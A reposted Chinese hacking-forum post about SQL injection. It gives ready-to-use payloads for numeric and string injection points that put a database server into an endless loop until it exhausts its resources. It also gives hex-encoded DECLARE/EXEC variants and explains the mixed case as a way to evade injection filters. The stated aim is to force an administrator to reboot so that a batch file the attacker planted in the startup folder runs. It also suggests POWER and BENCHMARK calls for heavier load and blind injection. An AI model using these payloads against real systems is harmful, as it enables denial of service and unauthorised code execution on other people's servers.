转自:http://www.darkst.com/bbs/thread-38959-1-1.html
有时候,我们通过数据库备份一个批处理到启动菜单后,希望服务器在下次重启时运行我们的批处理。可是我们等啊等,服务器就是不重启,怎么办? 让管理员帮我们重启一下吧。呵呵
以下注入代码让服务器停止响应,或响应很慢,要取得更好的效果,请丢到注入点后多执行几次。最终管理员会重新启动服务器。
数字型注入点:
;wHiLe 1<9 bEgIn sElEcT cHaR(0) eNd--
文本型注入点:
';wHiLe 1<9 bEgIn sElEcT cHaR(0) eNd--
或者以 Declare + EXEC 的方式来执行:
;dEcLaRe @s vArChAr(8000) sEt @s=0x7748694c6520313c3920624567496e2073456c456354206348615228302920654e64 eXeC(@s)--
';dEcLaRe @s vArChAr(8000) sEt @s=0x7748694c6520313c3920624567496e2073456c456354206348615228302920654e64 eXeC(@s)--
以上代码在数据库服务器上制造死循环导致服务器资源被耗尽进而拒绝服务。 管理员会帮你重启服务器。
注:以上代码具有攻击性,请谨慎使用。 注:其中的 select char(0) 可以改成 select power(1.23456,100) 以加大计算量。
------------------------------------- ;wHiLe 1<9 bEgIn sElEcT cHaR(0) eNd-- 这句的意思是当1小9开始将0这个反转ASCII码。因为是恒成立的所以是个死循环。一直到机器资源用尽 改字符大小是为了绕过网站的过滤防注入。 ;declare @s varchar(8000) set @s=0x7748694c6520313c3920624567496e2073456c456354206348615228302920654e64 exec(@s)-- declare @s varchar(8000)定义@s为varchar型长度8000。将“wHiLe 1<9 bEgIn sElEcT cHaR(0) eNd”用HEX编码后符值给@s,再用exec执行。。 作用同样是绕过网站的过滤防注入 ';wHiLe 1<9 bEgIn sElEcT cHaR(0) eNd-- 加'因为他是字符型注入。反正我是解说不清楚了。 select power(1.23456,100)返回1.23456的100次方根,不死才怪呢 concat函数就是将里边的字符区别大小的的串联起来,benchmark(9999999999999,md5('test')报告客户端的运行经过时间。盲注时也许有用。 我不知道concat函数对攻击起什么作用? w hex编码0x77 benchmark(9999999999999,md5(0x77) 这样也许能绕过防注入 |